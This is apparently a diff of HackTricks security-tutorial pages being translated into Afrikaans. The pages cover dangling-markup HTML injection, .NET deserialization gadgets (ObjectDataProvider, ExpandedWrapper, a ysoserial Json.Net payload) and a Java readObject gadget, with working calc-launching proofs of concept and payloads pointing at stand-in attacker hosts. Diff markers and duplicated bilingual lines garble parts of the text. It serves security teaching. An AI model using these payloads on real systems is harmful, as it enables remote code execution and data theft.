</script>
</body>
</html>
```
Dit kan gemitigeer word met iets soos: `sandbox=' allow-scripts allow-top-navigation'`
This can be mitigated with something like: `sandbox=' allow-scripts allow-top-navigation'`
An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it.
'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek **deur die iframe naam attribuut**. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat maak dat die **sensitiewe inligting binne die iframe naam attribuut verskyn** en dan daardie naam vanaf die aanvanklike iframe kan verkry en lek.
```html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
Vir meer inligting, kyk na [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta misbruik
### \<meta abuse
Jy kan **`meta http-equiv`** gebruik om **verskeie aksies** uit te voer, soos om 'n koekie in te stel: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` of om 'n herleiding uit te voer (in 5s in hierdie geval): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
You could use **`meta http-equiv`** to perform **several actions** like setting a Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` or performing a redirect (in 5s in this case): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Dit kan **vermy** word met 'n **CSP** rakende **http-equiv** ( `Content-Security-Policy: default-src 'self';`, of `Content-Security-Policy: http-equiv 'self';`)
This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Security-Policy: default-src 'self';`, or `Content-Security-Policy: http-equiv 'self';`)
### New \<portal HTML tag
You can find a very **interesting research** on exploitable vulnerabilities of the \<portal tag [here](https://research.securitum.com/security-analysis-of-portal-element/).\
At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work.
### Nuwe \<portal HTML tag
Jy kan 'n baie **interessante navorsing** oor uitbuitbare kwesbaarhede van die \<portal tag [hier](https://research.securitum.com/security-analysis-of-portal-element/).\
Op die oomblik van hierdie skrywe moet jy die portal tag op Chrome aktiveer in `chrome://flags/#enable-portals` of dit sal nie werk nie.
```html
<portal src='https://attacker-server?
```
### HTML Lekke
### HTML Leaks
Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kyk hulle hier: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Not all the ways to leak connectivity in HTML will be useful for Dangling Markup, but sometimes it could help. Check them here: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Lekke
## SS-Leaks
This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.
Dit is 'n **mengsel** tussen **dangling markup en XS-Lekke**. Aan die een kant laat die kwesbaarheid toe om **HTML** (maar nie JS nie) in 'n bladsy van die **dieselfde oorsprong** as die een wat ons gaan aanval, in te voeg. Aan die ander kant sal ons nie die bladsy waar ons HTML kan invoeg, **direk aanval** nie, maar **'n ander bladsy**.
{{#ref}}
ss-leaks.md
{{#endref}}
## XS-Search/XS-Leaks
## XS-Soek/XS-Lekke
XS-Search are oriented to **exfiltrate cross-origin information** abusing **side channel attacks**.Therefore, it's a different technique than Dangling Markup, however, some of the techniques abuse the inclusion of HTML tags (with and without JS execution), like [**CSS Injection**](../xs-search/#css-injection) or [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Soek is georiënteer om **cross-origin inligting te exfiltreer** deur **side channel-aanvalle** te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos [**CSS Invoeging**](../xs-search/#css-injection) of [**Lazy Load Beelde**](../xs-search/#image-lazy-loading)**.**
{{#ref}}
../xs-search/
{{#endref}}
## Brute-Force Detection List
## Brute-Force Opsporing Lys
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
## References
## Verwysings
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
@ -261,4 +223,3 @@ XS-Search are oriented to **exfiltrate cross-origin information** abusing **side
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Check the post [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
**Kyk die pos [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -1,70 +1,67 @@
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# Basiese .Net deserialisering (ObjectDataProvider gadget, ExpandedWrapper, en Json.Net)
{{#include ../../banners/hacktricks-training.md}}
This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
Hierdie pos is toegewy aan **om te verstaan hoe die gadget ObjectDataProvider uitgebuit word** om RCE te verkry en **hoe** die Serialisering biblioteke **Json.Net en xmlSerializer misbruik kan word** met daardie gadget.
## ObjectDataProvider Gadget
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
Volgens die dokumentasie: _die ObjectDataProvider Klas Wrapping en skep 'n objek wat jy kan gebruik as 'n binding bron_.\
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrêre objek** te **wrapping**, gebruik _**MethodParameters**_ om **arbitrêre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrêre funksie** van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.\
Daarom sal die arbitrêre **objek** 'n **funksie** met **parameters uitvoer terwyl dit gedeserialiseer word.**
### **How is this possible**
### **Hoe is dit moontlik**
The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
Die **System.Windows.Data** naamruimte, wat binne die **PresentationFramework.dll** by `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` gevind word, is waar die ObjectDataProvider gedefinieer en geïmplementeer word.
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
Met [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy die **kode** van die klas waarin ons belangstel, **ondersoek**. In die beeld hieronder sien ons die kode van **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Metode naam**
![](<../../images/image (427).png>)
As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
Soos jy kan sien, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
![](<../../images/image (319).png>)
Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
Goed, kom ons gaan voort om te sien wat `this.BeginQuery()` doen. `BeginQuery` word oorgeskryf deur `ObjectDataProvider` en dit is wat dit doen:
![](<../../images/image (345).png>)
Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
Let daarop dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
![](<../../images/image (596).png>)
Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
If you want to check that just setting the _**MethodName**_\*\* it will be executed\*\*, you can run this code:
Let daarop dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit toon die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan** dit is die lyn waar die **metode stel aangeroep word**.
As jy wil kyk dat net deur die _**MethodName**_\*\* in te stel\*\*, dit uitgevoer sal word, kan jy hierdie kode uitvoer:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ moet byvoeg om `System.Windows.Data` te laai.
## ExpandedWrapper
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer gaan word** (byvoorbeeld in DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserialiseer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (byvoorbeeld `Process`). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
You can check this wrapper with the following code:
Hierdie klas laat jou toe om die **objektipe van die objekte wat ingekapsel is** in 'n gegewe instansie te **spesifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, omdat ons in staat sal wees om **\_ObjectDataProvider**_\*\* binne 'n \*\*_**ExpandedWrapper** \_ instansie te **wrapping** en **wanneer dit gedeserialiseer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**.
Jy kan hierdie wrapper met die volgende kode nagaan:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -72,29 +69,27 @@ using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
In die [amptelike webblad](https://www.newtonsoft.com/json) word aangedui dat hierdie biblioteek toelaat om **enige .NET objek met Json.NET se kragtige JSON serialiseerder te serialiseer en deserialiseer**. So, as ons die **ObjectDataProvider gadget** kon **deserialiseer**, kon ons 'n **RCE** veroorsaak net deur 'n objek te deserialiseer.
### Json.Net example
First of all lets see an example on how to **serialize/deserialize** an object using this library:
### Json.Net voorbeeld
Eerstens, kom ons kyk na 'n voorbeeld van hoe om 'n objek te **serialiseer/deserialiseer** met behulp van hierdie biblioteek:
```java
using System;
using Newtonsoft.Json;
@ -103,60 +98,56 @@ using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Misbruik van Json.Net
### Abusing Json.Net
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
Met behulp van [ysoserial.net](https://github.com/pwntester/ysoserial.net) het ek die ontploffing geskep:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In this code you can **test the exploit**, just run it and you will see that a calc is executed:
In hierdie kode kan jy **die eksploit toets**, net dit uitvoer en jy sal sien dat 'n kalkuleerder uitgevoer word:
```java
using System;
using System.Text;
@ -164,35 +155,33 @@ using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,90 +1,87 @@
{{#include ../../banners/hacktricks-training.md}}
In this POST it's going to be explained an example using `java.io.Serializable`.
In hierdie POST gaan 'n voorbeeld verduidelik word wat `java.io.Serializable` gebruik.
# Serializable
The Java `Serializable` interface (`java.io.Serializable` is a marker interface your classes must implement if they are to be **serialized** and **deserialized**. Java object serialization (writing) is done with the [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Die Java `Serializable`-koppelvlak (`java.io.Serializable` is 'n merk-koppelvlak wat jou klasse moet implementeer as hulle **ge_serialiseer** en **ge_deserializeer** moet word. Java objekserialisering (skryf) word gedoen met die [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) en deserialisering (lees) word gedoen met die [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to be **executed**.\
In the example, the **readObject function** of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:**
**The following example is from [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
Kom ons kyk na 'n voorbeeld met 'n **klas Persoon** wat **serialiseerbaar** is. Hierdie klas **oorskry die readObject** funksie, so wanneer **enige objek** van hierdie **klas** **ge_deserializeer** word, gaan hierdie **funksie** **uitgevoer** word.\
In die voorbeeld roep die **readObject-funksie** van die klas Persoon die funksie `eat()` van sy troeteldier aan en die funksie `eat()` van 'n Hond (om een of ander rede) roep 'n **calc.exe** aan. **Ons gaan kyk hoe om 'n Persoon objek te serialiseer en te deserializeer om hierdie sakrekenaar uit te voer:**
**Die volgende voorbeeld is van [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
```java
import java.io.Serializable;
import java.io.*;
public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}
```
## Gevolgtrekking
## Conclusion
As you can see in this very basic example, the "vulnerability" here appears because the **readObject** function is **calling other vulnerable functions**.
Soos jy in hierdie baie basiese voorbeeld kan sien, verskyn die "kwesbaarheid" hier omdat die **readObject** funksie **ander kwesbare funksies aanroep**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
**Check the amazing post from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
**Kyk na die wonderlike pos van** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,162 +4,137 @@
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**Bug bounty tip**: **meld aan** by **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin verdien belonings tot **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## What is ViewState
**ViewState** serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.
**ViewState** dien as die standaardmeganisme in ASP.NET om bladsy- en kontroledata oor webblaaie te handhaaf. Tydens die weergawe van 'n bladsy se HTML, word die huidige toestand van die bladsy en waardes wat tydens 'n postback bewaar moet word, in base64-gecodeerde strings geserialiseer. Hierdie strings word dan in versteekte ViewState-velde geplaas.
ViewState information can be characterized by the following properties or their combinations:
ViewState-inligting kan gekarakteriseer word deur die volgende eienskappe of hul kombinasies:
- **Base64**:
- This format is utilized when both `EnableViewStateMac` and `ViewStateEncryptionMode` attributes are set to false.
- **Base64 + MAC (Message Authentication Code) Enabled**:
- Activation of MAC is achieved by setting the `EnableViewStateMac` attribute to true. This provides integrity verification for ViewState data.
- **Base64 + Encrypted**:
- Encryption is applied when the `ViewStateEncryptionMode` attribute is set to true, ensuring the confidentiality of ViewState data.
- Hierdie formaat word gebruik wanneer beide `EnableViewStateMac` en `ViewStateEncryptionMode` eienskappe op vals gestel is.
- **Base64 + MAC (Message Authentication Code) Geaktiveer**:
- Aktivering van MAC word bereik deur die `EnableViewStateMac` eienskap op waar te stel. Dit bied integriteitsverifikasie vir ViewState-data.
- **Base64 + Geënkripteer**:
- Enkripsie word toegepas wanneer die `ViewStateEncryptionMode` eienskap op waar gestel is, wat die vertroulikheid van ViewState-data verseker.
## Test Cases
The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:
Die beeld is 'n tabel wat verskillende konfigurasies vir ViewState in ASP.NET op grond van die .NET-raamwerkweergawe uiteensit. Hier is 'n opsomming van die inhoud:
1. For **any version of .NET**, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it.
2. For **versions below 4.5**, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r."
3. For **versions below 4.5**, regardless of whether MAC is enabled or disabled, if Encryption is enabled, a MachineKey is needed. Identifying the MachineKey is a task for "Blacklist3r - Future Development."
4. For **versions 4.5 and above**, all combinations of MAC and Encryption (whether both are true, or one is true and the other is false) necessitate a MachineKey. The MachineKey can be identified using "Blacklist3r."
1. Vir **enige weergawe van .NET**, wanneer beide MAC en Enkripsie gedeaktiveer is, is 'n MachineKey nie nodig nie, en dus is daar geen toepaslike metode om dit te identifiseer nie.
2. Vir **weergawes onder 4.5**, as MAC geaktiveer is maar Enkripsie nie, is 'n MachineKey nodig. Die metode om die MachineKey te identifiseer, word "Blacklist3r" genoem.
3. Vir **weergawes onder 4.5**, ongeag of MAC geaktiveer of gedeaktiveer is, as Enkripsie geaktiveer is, is 'n MachineKey nodig. Die identifisering van die MachineKey is 'n taak vir "Blacklist3r - Toekomstige Ontwikkeling."
4. Vir **weergawes 4.5 en hoër**, vereis alle kombinasies van MAC en Enkripsie (of albei waar is, of een waar en die ander vals) 'n MachineKey. Die MachineKey kan geïdentifiseer word met "Blacklist3r."
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
It is also possible to disable the ViewStateMAC completely by setting the `AspNetEnforceViewStateMac` registry key to zero in:
Dit is ook moontlik om die ViewStateMAC heeltemal te deaktiveer deur die `AspNetEnforceViewStateMac` registersleutel op nul te stel in:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identifisering van ViewState Attribuut**
